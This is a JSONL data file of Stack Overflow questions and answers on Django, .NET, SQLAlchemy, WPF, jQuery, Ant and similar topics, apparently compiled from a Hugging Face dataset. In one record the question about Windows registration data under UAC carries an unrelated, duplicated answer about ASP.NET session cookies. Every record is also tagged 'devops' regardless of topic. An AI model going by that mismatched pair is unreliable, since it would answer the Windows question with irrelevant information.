{"id": "hf_effc3f2e5672", "question": "<p>for some reason, templatetags do not render in templates for django admin.</p>\n\n<p>with this snippet from:\n<a href=\"http://docs.djangoproject.com/en/dev/ref/templates/api/?from=olddocs#shortcut-for-simple-tags\" rel=\"nofollow noreferrer\">http://docs.djangoproject.com/en/dev/ref/templates/api/?from=olddocs#shortcut-for-simple-tags</a></p>\n\n<pre><code>{% if is_logged_in %}Thanks for logging in!{% else %}Please log in.{% endif %}\n</code></pre>\n\n<p>when placed in admin index.html, if a user is logged in, it shows \"Please log in\"</p>\n\n<p>same with templatetags, can not get any app ones to show, do anything. there is no error/they do not get processed either </p>\n", "question_body": "", "answer": "That's only an example, the\n```\nis_logged_in\n```\nvariable is not actually defined in any templates unless you put it in the context.\nIf you added that line and got\n```\nPlease log in.\n```\nit does mean that the tag is rendering.  If it fails the\n```\nif\n```\nand goes to the\n```\nelse\n```\nit is clearly being run.  You need to find something in the template you can actually use for the\n```\nif\n```\ncase, though.  I haven't messed with the admin templates in newforms-admin, but depending if they use RequestContext and on which ContextProcessors you have enabled - you might be able to say\n```\n{% if not request.user.is_anonymous %} ...\n```\nor something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.754151"}
{"id": "hf_674f713d7dee", "question": "<p>As they are in .Net 3.5. I know they are in 4.0, as that's what the DLR works with, but I'm interested in the version we have now.</p>\n", "question_body": "", "answer": "LINQ expression trees can represent anything you can put in a normal C# expression. As such, they can't be used to directly represent\n```\nwhile\n```\nloops,\n```\nfor\n```\nloops, etc.\nHowever, it's theoretically possible to use lambda expressions and recursion to carry out any iteration you may need. In practice it may be easier to drop\n```\nEnumerable\n```\nmethods into your tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.777292"}
{"id": "hf_0b60bfe52c12", "question": "<p>Can source code examples be kept in a SQL database <strong>while retaining all formatting</strong> (tabs, newlines, etc.)? If so what data type would be used?</p>\n", "question_body": "", "answer": "Yes, use a\n```\nTEXT\n```\ntype (or\n```\nMEDIUMTEXT\n```\nor\n```\nLONGTEXT\n```\n- you get the idea)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.800487"}
{"id": "hf_c34d773a6a10", "question": "<p>I can't find any proper documentation on how to specify relations\nusing the declarative syntax of SQLAlchemy.. Is it unsupported? That is, should I use the \"traditional\" syntax?<br>\nI am looking for a way to specify relations at a higher level, avoiding having to mess with foreign keys etc.. I'd like to just declare \"addresses = OneToMany(Address)\" and let the framework handle the details.. I know that Elixir can do that, but I was wondering if \"plain\" SQLA could do it too.<br>\nThanks for your help!</p>\n", "question_body": "", "answer": "Assuming you are referring to\nthe declarative plugin\n, where everything I am about to say is documented with examples:\n```\n```\nclass User(Base):\n    __tablename__ = 'users'\n\n    id = Column('id', Integer, primary_key=True)\n    addresses = relation(\"Address\", backref=\"user\")\n\nclass Address(Base):\n    __tablename__ = 'addresses'\n\n    id = Column('id', Integer, primary_key=True)\n    user_id = Column('user_id', Integer, ForeignKey('users.id'))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.835986"}
{"id": "hf_1dd7658522d7", "question": "<p>If I write <code>Session[\"asdf\"] = 234;</code></p>\n\n<p>In my asp.net web app, does this mean the client will have a cookie stored on their browser?</p>\n", "question_body": "", "answer": "Yes, but 234 won't be stored in the cookie. The cookie will only contain a unique ID (for example,\n```\nlit3py55t21z5v55vlm25s55\n```\n). Every time ASP.NET sees that unique ID, it will look up the corresponding session information.\nIf you don't want to use cookies, you can put the session ID in the URL. Read this\nMSDN article's\nsection on Cookieless SessionIDs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.898793"}
{"id": "hf_b367ede4805d", "question": "<p>I need to write some registration data (unique computer number, and corresponding activation code).</p>\n\n<p>The Computer Number needs to be visible from <i>other</i> programs and <em>all</em> accounts ({Admin|Non Admin} with User Access Control turned {On|Off} )</p>\n\n<p>It's acceptable to write the Computer Number and Activation Code only from an Admin account, but it needs to be readable from any of the other accounts. </p>\n\n<p>Currently (and I need to test this more) it seems that  if the the CN and Activation Code are written with UAC off then when the user switches UAC ON the Computer Number isn't visible.</p>\n", "question_body": "", "answer": "Yes, but 234 won't be stored in the cookie. The cookie will only contain a unique ID (for example,\n```\nlit3py55t21z5v55vlm25s55\n```\n). Every time ASP.NET sees that unique ID, it will look up the corresponding session information.\nIf you don't want to use cookies, you can put the session ID in the URL. Read this\nMSDN article's\nsection on Cookieless SessionIDs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.922359"}
{"id": "hf_ca0346fde54a", "question": "<p>I am writing a macro for Visual studio that will generate some code.</p>\n\n<p>I would like for the macro to generate for both C# and VB, is there a way to determine what language is being used in the active (current) document?</p>\n", "question_body": "", "answer": "Have you considered using\nT4\n?\nT4 is a code generator built right into Visual Studio. If you're using C#, you'll have a sub .cs file, or if you're using VB, a sub .vb file. That's the file that will hold the result of the generation. This is the same visual metaphor used to the express the template/generated file relationship with .designer files you've seen elsewhere in Visual Studio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.945834"}
{"id": "hf_1743547dca97", "question": "<p>I am developing a JSP application and am being forced to load a COM object. Can such a thing can be done?</p>\n\n<p>If yes, how?</p>\n", "question_body": "", "answer": "It is possible using a COM bridge like\nJACOB\n.\nJACOB is a JAVA-COM Bridge that allows you to call COM Automation components from Java. It uses JNI to make native calls into the COM and Win32 libraries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.981173"}
{"id": "hf_66165d42d181", "question": "<p>It's rare that I hear someone using <a href=\"http://martinfowler.com/articles/injection.html\" rel=\"nofollow noreferrer\">Inversion of Control (Ioc)</a> principle with .Net. I have some friends that work with Java that use a lot more Ioc with Spring and PicoContainer.</p>\n\n<p>I understand the principle of removing dependencies from your code... but I have a doubt that it's so much better.</p>\n\n<p><strong>Why do .Net programmers not use (or use less) those types of frameworks? If you do, do you really find a positive effect in the long term?</strong></p>\n", "question_body": "", "answer": "Lots of people use IOC in .NET, and there are several frameworks available to assist with using IoC.  You may see it less in the WinForms side of things, because it's harder to just let the container wire everything together when you are designing forms in Visual Studio, but I can say that for server-side .NET applications, where I work at least, IoC is used very successfully.\nWhy use it in .NET?  For the same reason you use it everywhere else.  The 2 biggest things I like are:\nDesigning for IoC tends to enforce good coding practice - designing to interfaces, low coupling, high cohesion.  This also leads to classes that are very easy to unit-test.\nSystem configuration can often be changed without recompiling.\nSome other posts discussing the different IoC/DI frameworks available for .NET:\nWhich C#/.net Dependency Injection frameworks are worth looking into?\nWhich Dependency Injection Tool Should I Use?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.016303"}
{"id": "hf_ef53a605fa96", "question": "<p>We're running a lightweight web app on a single EC2 server instance, which is fine for our needs, but we're wondering about monitoring and restarting it if it goes down.</p>\n\n<p>We have a separate non-Amazon server we'd like to use to monitor the EC2 and start a fresh instance if necessary and shut down the old one. All our user data is on Elastic Storage, so we're not too worried about losing anything.</p>\n\n<p>I was wondering if anyone has any experience of using EC2 in this way, and in particular of automating the process of starting the new instance? We have no problem creating something from scratch, but it seems like it should be a solved problem, so I was wondering if anyone has any tips, links, scripts, tutorials, etc to share.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You should have a look at\npuppet\nand its support for\nAWS\n. I would also look at the\nRightScale AWS library\nas well as this post about\nstarting a server with the RightScale scripts\n. You may also find this article on\nweb serving with EC2\nuseful. I have done something similar to this but without the external monitoring, the node monitored itself and shut down when it was no longer needed then a new one would start up later when there was more work to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.051719"}
{"id": "hf_d5d6a6619cf2", "question": "<p>If this question has already been asked I appologies, please point me in the right direction.</p>\n\n<p>I was wondering if anyone has any insight into how StackOverflow pops up the \"n new answers have been posted, load new answers\" thing at the top of a question when you are adding a post. This seems like a very useful function for my forum web-site and I would like to know how it is done. I assume some ajax or advanced javascript of some kind.</p>\n", "question_body": "", "answer": "Look at this SO blog post:\nhttps://blog.stackoverflow.com/2008/10/solving-the-fastest-gun-in-the-west-problem/\nThat said, the one implementable\nrecommendation that came out of this\ndiscussion is an active, GMail like\nnotification when you are composing an\nanswer. We agreed with this feature\nrequest, so Jarrod implemented it.\nHere’s how it works:\nWhen you start composing a reply, a timer is created.\nEvery minute, the page checks itself to see if new answers have\narrived.\nIf new answers arrive, the notification bar will tell you how\nmany, and offer to update the page for\nyou.\nAnswer updates are performed AJAX style, so they don’t interrupt\nyour current answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.075927"}
{"id": "hf_836b18906da0", "question": "<p>I have an SQL database with multiple tables, and I am working on creating a searching feature.  Other than having multiple queries for the different tables, is there a different way to go about said searching function?</p>\n\n<hr>\n\n<p>I should probably add that a lot of my content is database driven to make upkeep easier.  Lucene will not work for this, correct?</p>\n", "question_body": "", "answer": "Different approaches to consider:\n1) Multiple queries pre-baked, like you described.\n2) Dynamic sql that you put together on the fly based on user-entered criteria.\n3) If text is involved, based on SQL Server full text search or Lucene.\nIn my open source app BugTracker.NET, I do both 2 and 3 (using Lucene.NET).\nI documented how I use Lucene.NET here:\nhttp://www.ifdefined.com/blog/post/2009/02/Full-Text-Search-in-ASPNET-using-LuceneNET.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.146015"}
{"id": "hf_baad22532aac", "question": "<p>I made a class that derives from Component:</p>\n\n<pre><code>public class MyComponent: System.ComponentModel.Component\n{\n\n\n}\n</code></pre>\n\n<p>I saw that Visual Studio put this code in for me:</p>\n\n<pre><code>protected override void Dispose(bool disposing)\n{\n    try\n    {\n        if (disposing &amp;&amp; (components != null))\n        {\n            components.Dispose();\n        }\n    }\n    catch\n    {\n        throw;\n    }\n    finally\n    {\n        base.Dispose(disposing);\n    }\n}\n</code></pre>\n\n<p><code>MyComponent</code> has a member that is a <code>DataSet</code> and maybe there's some other members that implement <code>IDisposable</code>.  What, if anything, do i need to modify with the <code>Dispose()</code> method to make sure things are cleaned up properly?  Thanks for helping.</p>\n", "question_body": "", "answer": "Change:\n```\n```\nif (disposing && (components != null))\n{\n     components.Dispose();\n}\n```\n```\nto be:\n```\n```\nif (disposing && (components != null))\n{\n    _dataset.Dispose();\n    components.Dispose();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.169663"}
{"id": "hf_f098728e160c", "question": "<p>Is there a way that you can have SERVEROUTPUT set to ON in sqlplus but somehow repress the message \"PL/SQL procedure successfully completed\" that is automatically generated upon completed execution of a plsql procedure?</p>\n", "question_body": "", "answer": "Use the command:\n```\n```\nSET FEEDBACK OFF\n```\n```\nbefore running the procedure.  And afterwards you can turn it back on again:\n```\n```\nSET FEEDBACK ON\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.204863"}
{"id": "hf_fbd64cf6b161", "question": "<p>I see many different Java terms floating around.  I need to install the JDK 1.6.  It was my understanding that Java 6 == Java 1.6.  However, when I install Java SE 6, I get a JVM that reports as version 11.0!  Who can solve the madness?</p>\n", "question_body": "", "answer": "JDK - Java Development Kit\nJRE - Java Runtime Environment\nJava SE - Java Standard Edition\nSE defines a set of capabilities and functionalities; there are more complex editions (Enterprise Edition – EE) and simpler ones (Micro Edition – ME – for mobile environments).\nThe JDK includes the compiler and other tools needed to develop Java applications; JRE does not.  So, to run a Java application someone else provides, you need JRE; to develop a Java application, you need JDK.\nEdited\n:\nAs Chris Marasti-Georg pointed out in a comment, you can find out lots of information at Sun's\nJava\nweb site, and in particular from the\nJava SE\nsection, (2nd option, Java SE Development Kit (JDK) 6 Update 10).\nEdited 2011-04-06:\nThe world turns, and Java is now managed by Oracle, which bought Sun.  Later this year, the\n```\nsun.com\n```\ndomain is supposed to go dark.  The new page (based on a redirect) is this\nJava\npage at the Oracle Tech Network.  (See also\njava.com\n.)\nEdited 2013-01-11:\nAnd the world keeps on turning (2012-12-21 notwithstanding), and lo and behold, JRE 6 is about to reach its end of support.\nOracle\nsays no more public updates to Java 6 after February 2013.\nWithin a given version of Java, this answer remains valid.  JDK is the Java Development Kit, JRE is the Java Runtime Environment, Java SE is the standard edition, and so on.  But the version 6 (1.6) is becoming antiquated.\nEdited 2015-04-29:\nAnd with another couple of revolutions around the sun, the time has come for the end of support for Java SE 7, too.  In April 2015, Oracle\naffirmed\nthat it was no longer providing public updates to Java SE 7.  The tentative end of public updates for Java SE 8 is March 2017, but that end date is subject to change (later, not earlier).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.228308"}
{"id": "hf_ddb662f241f4", "question": "<p>Does anyone know of any specific DSL implementations used to import legacy Oracle database schemas. I have tried to just run db:schema:dump on my existing db I want to port to a new ruby app. However, the rake dies about halfway through with out any error. It kinda just locks up. I started looking for the best way to tackle this and found examples of how to override some stuff for SQLServer but not much for Oracle. </p>\n\n<p>I basically want to pull in the schema and generate a scaffold and model from it.</p>\n\n<p>Is there a more simple way to do this or will I have to invent the wheel?</p>\n", "question_body": "", "answer": "did you try\n```\nrake --trace\n```\n?\nBy the way Oracle legacy schemas is a small cottage industry.\nhttp://github.com/rsim/legacy_oracle_sample.git/README.txt\nhttp://blog.rayapps.com/2008/06/28/activerecord-oracle-enhanced-adapter-version-111-released/\nhttp://www.oracle.com/technology/pub/articles/saternos-rails.html\nhttp://redsquirrel.com/cgi-bin/dave/dynamic/rails.multiple.oracle.dbs.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.263480"}
{"id": "hf_5702bd28e545", "question": "<p>I'd like something like</p>\n\n<pre><code>int minIndex = list.FindMin(delegate (MyClass a, MyClass b) {returns a.CompareTo(b);});\n</code></pre>\n\n<p>Is there a builtin way to do this in .NET?</p>\n", "question_body": "", "answer": "Try looking at these:\nMin\nMax\nAs long as your class implements IComparable, all you have to do is:\n```\n```\nList<MyClass> list = new List();\n//add whatever you need to add\n\nMyClass min = list.Min();\nMyClass max = list.Max();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.299787"}
{"id": "hf_f9a8ffc02cc8", "question": "<p>What is the best plugin for Rails that <strong>gzips</strong> my webpage output?</p>\n\n<p><strong>Edit:</strong>\nThe company I am hosting with has stated they will not install <code>mod_deflate</code>.</p>\n", "question_body": "", "answer": "Have you tried enabling compression in apache via\nmod_deflate\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.347914"}
{"id": "hf_e69961b21fbb", "question": "<p>I have an Ant script with a junit target where I want it to start up the VM with a different working directory than the basedir. How would I do this?</p>\n\n<p>Here's a pseudo version of my target.</p>\n\n<pre><code>&lt;target name=\"buildWithClassFiles\"&gt;\n    &lt;mkdir dir=\"${basedir}/UnitTest/junit-reports\"/&gt;\n    &lt;junit fork=\"true\" printsummary=\"yes\"&gt;\n        &lt;classpath&gt;\n            &lt;pathelement location=\"${basedir}/UnitTest/bin\"/&gt;\n            &lt;path refid=\"classpath.compile.tests.nojars\"/&gt;\n        &lt;/classpath&gt;\n        &lt;jvmarg value=\"-javaagent:${lib}/jmockit/jmockit.jar=coverage=:html\"/&gt;\n        &lt;formatter type=\"xml\" /&gt;\n        &lt;test name=\"GlobalTests\" todir=\"${basedir}/UnitTest/junit-reports\" /&gt;\n    &lt;/junit&gt;\n\n&lt;/target&gt;\n</code></pre>\n", "question_body": "", "answer": "Have you tried:\n```\n```\n<junit fork=\"true\" printsummary=\"yes\" dir=\"workingdir\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.384043"}
{"id": "hf_a3c8e0a2103a", "question": "<p>I have a WPF TreeView with just 1 level of items.  The TreeView is data bound to an ObservableCollection of strings.  How can I ensure that the same icon appears to the left of each node in the TreeView?</p>\n", "question_body": "", "answer": "I think the best approach is to set a Style on the TreeView that will change the Template of the TreeViewItems to have the Image that you want.\nThe Template will probably need to be a StackPanel with an Image and a label control, you bind the image to your icon, and the label text to the strings from the Observable collection.\nI've copied the relevant code snippet from a\nCode Project article\n, which covers this in more detail, but I think the below is all you'll need (This code goes in the TreeView.Resources element).\n```\n```\n<Style TargetType=\"{x:Type TreeViewItem}\">\n    <Setter Property=\"HeaderTemplate\">\n        <Setter.Value>\n            <DataTemplate>\n                <StackPanel Orientation=\"Horizontal\">\n                    <Image Name=\"img\"\n                           Width=\"20\"\n                           Height=\"20\"\n                           Stretch=\"Fill\"\n                           Source=\"image.png\"/>\n                    <TextBlock Text=\"{Binding}\" Margin=\"5,0\" />\n                </StackPanel>\n            </DataTemplate>\n        </Setter.Value>\n    </Setter>\n</Style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.430975"}
{"id": "hf_56dacc2d66b2", "question": "<p>I'd trying to style my ComboBoxes to match the rest of the UI but I'm having problems with the IsMouseOver highlighting. It highlights with the color I specify for a second and then fades back to the default color, kind of a cool effect but not what I'm going for. Here is my style:</p>\n\n<pre><code>&lt;Style TargetType=\"ComboBox\"&gt;\n    &lt;Style.Triggers&gt;\n        &lt;Trigger Property=\"ComboBox.IsMouseOver\" Value=\"True\"&gt;\n            &lt;Setter Property = \"Background\" Value=\"Red\"/&gt;\n        &lt;/Trigger&gt;\n    &lt;/Style.Triggers&gt;\n&lt;/Style&gt;\n</code></pre>\n\n<p>What can I do to make the background color stay?</p>\n", "question_body": "", "answer": "The problem is indeed due to the default template for the ComboBox. If you use\nReflector\nto open the PresentationFramework.Aero assembly you can take a look at the ButtonChrome class. There is a method called OnRenderMouseOverChanged that is hiding the Red background.\nEven though it is a lot of work, for ComboBox at least, you probably will want to override the default template for the ComboBox. You can get the basic idea of what the ComboBox temlpate is like by using\nShow Me The Template\nor\nBlend\n.\nYou can use your same style to override the template.\n```\n```\n<Style TargetType=\"{x:Type ComboBox}\">\n    <Setter Property=\"Template\">\n        <Setter.Value>\n            <ControlTemplate TargetType=\"{x:Type ComboBox}\">\n                <!-- Template Here -->\n            </ControlTemplate>\n        </Setter.Value>\n    </Setter>\n</Style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.502299"}
{"id": "hf_051048d5411a", "question": "<p>I want to attach a 'click' event handler to the first child of an element with ID 'foo' using <a href=\"http://en.wikipedia.org/wiki/JQuery\" rel=\"nofollow noreferrer\">jQuery</a>. I understand that the syntax for doing this is:</p>\n\n<pre><code>$('#foo:first-child').bind('click', function(event) {\n    // I want to access the first child here\n})\n</code></pre>\n\n<p>Within the handler body I want to access the element which caused the event to be fired. I've read somewhere that you can't simply refer to it via 'this', so how can I access it?</p>\n", "question_body": "", "answer": "```\n```\n$(this).doStuff()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.526362"}
{"id": "hf_e6782672abcb", "question": "<p>I use <code>_vimrc</code> to configure my vim 7.2 (windows) default settings. One setting \"set number\" will display line numbers on the left side. My vim background color is white (I cannot find setting for this. Maybe the default is white. Anyway I accept this setting).</p>\n\n<p>I would like the background color for line numbers to be Grey or dimmed color. What is the command I can put in my <code>_vimrc</code> to configure this default setting?</p>\n", "question_body": "", "answer": "```\n```\nhighlight LineNr ctermfg=grey ctermbg=white\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.550679"}
{"id": "hf_def548825149", "question": "<p>I'm having trouble getting a rails app on Dreamhost's Passenger to see compiled libraries in my ~/opt/lib directory.  I have to put them here because I don't have root access.  </p>\n\n<p>I can boot up my app in ./script/console and it sees them libraries just fine because I updated my .bash_profile's <code>LD_LIBRARY_PATH</code> environment variable to include ~/opt/lib.</p>\n\n<p>I've tried putting <code>ENV['LD_LIBRARY_PATH'] = '~/opt/lib'</code> in my environment.rb file but it doesn't seem too help.  I get the following error from Passenger when I navigate to my site:\nlibodbcinst.so.1: cannot open shared object file: No such file or directory - /home/username/opt/lib/odbc.so</p>\n\n<p>Anyone have experience with this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I had similar issue with Passenger that I described in\nhttp://blog.rayapps.com/2008/05/21/using-mod_rails-with-rails-applications-on-oracle/\nBut in your case this migth not work as you will not be able to change Dreamhost's httpd.conf file.\nOther thing that you can try is to set LD_LIBRARY_PATH in .bashrc - according to\nhttp://www.wavethenavel.com/jonathanpenn/2008/09/08/bootstrapping-a-dreamhost-account-for-rails-and-git/\nthis has worked in Dreamhost's case. Have not verified that Passenger will execute .bashrc before launching ruby.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.604021"}
{"id": "hf_6a26ceacf842", "question": "<p>I have the following HTML node structure:</p>\n\n<pre><code>&lt;div id=\"foo\"&gt;\n  &lt;div id=\"bar\"&gt;&lt;/div&gt;\n  &lt;div id=\"baz\"&gt;\n    &lt;div id=\"biz\"&gt;&lt;/div&gt;\n  &lt;/div&gt;\n  &lt;span&gt;&lt;/span&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>How do I count the number of immediate children of <code>foo</code>, that are of type <code>div</code>? In the example above, the result should be two (<code>bar</code> and <code>baz</code>).</p>\n", "question_body": "", "answer": "```\n```\n$(\"#foo > div\").length\n```\n```\nDirect children of the element with the id 'foo' which are divs. Then retrieving the size of the wrapped set produced.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.631748"}
{"id": "hf_c96233462a14", "question": "<p>I'm building a class library that will have some public &amp; private methods. I want to be able to unit test the private methods (mostly while developing, but also it could be useful for future refactoring).</p>\n\n<p>What is the correct way to do this?</p>\n", "question_body": "", "answer": "Declare them\n```\ninternal\n```\n, and then use the\n```\nInternalsVisibleToAttribute\n```\nto allow your unit test assembly to see them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.671569"}
{"id": "hf_33580f35cd72", "question": "<p>I'm trying to write a python script that packages our software. This script needs to build our product, and package it. Currently we have other scripts that do each piece individually which include csh, and perl scripts. One such script is run like:</p>\n\n<pre><code>sudo mod args\n</code></pre>\n\n<p>where mod is a perl script; so in python I would do </p>\n\n<pre><code>proc = Popen(['sudo', 'mod', '-p', '-c', 'noresource', '-u', 'dtt', '-Q'], stderr=PIPE, stdout=PIPE, stdin=PIPE)\n</code></pre>\n\n<p>The problem is that this mod script needs a few questions answered. For this I thought that the traditional </p>\n\n<pre><code>(stdout, stderr) = proc.communicate(input='y')\n</code></pre>\n\n<p>would work. I don't think it's working because the process that Popen is controlling is sudo, not the mod script that is asking the question. Is there any way to communicate with the mod script and still run it through sudo?</p>\n", "question_body": "", "answer": "The simplest thing to do would be the run the controlling script (the Python script) via\n```\nsudo\n```\n. Are you able to do that, or is that not an option?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.706831"}
{"id": "hf_fc00b47d3cd6", "question": "<p>I need to implement an OpenID Provider in .Net and wondered....Is there's any OpenSource code already written and available?</p>\n", "question_body": "", "answer": "I just found\nhttp://code.google.com/p/dotnetopenid/\nApologies for not search properly first.....\nI don't seem to be able to delete this question (strange)\nInstead, as penance, this question and answer will be marked community property so I don't benefit in any way from my stupidity..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.777560"}
{"id": "hf_594ad94ffcdc", "question": "<p>We have a software product that evolves at the rhythm of clients' needs and of a more general roadmap.</p>\n\n<p>Because we are in a SCRUM project environment, it happens very regurlarly that a new feature makes its way to the product, and then we are confronted with the choice of:</p>\n\n<ul>\n<li>implementing this feature in an already released branch (not really the point of having a branch, then)</li>\n<li>making a new branch - but then we have a branch every three weeks, and it is just not maintanable anymore</li>\n</ul>\n\n<p>Not releasing the new feature is not an option, the clients don't want to wait for a long term milestone plan to get the features they want, and it's not always faisible to move the feature in a client module - sometimes we need to change the core of the product...</p>\n\n<p>Has anyone any feedback on a good practice given those kind of constraints ?</p>\n", "question_body": "", "answer": "A new branch like( 'new_feature_branch') is there to materialize a\ndevelopment effort\nwhich is not compatible with the current branch (like 'release_branch')\nSo if your current release_branch is not very active, you can use it for the new feature (provided you define a label\nbefore\ndeveloping this new feature, in case you need to cancel that process and go back to the state previous this new feature)\nMaking a new branch can be a good solution provided it is merged back on a regular basis (every 3 weeks) on the release branch, and then left out. It is especially recommended if you have some activities on the release_branch (like some hot bug-fixing). then the two efforts need to be kept separated.\nBasically, it all comes down to your\nmerge workflow\ndefinition.\nLeave comments if you want me to detail some options you feel I did not address enough in depth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.801614"}
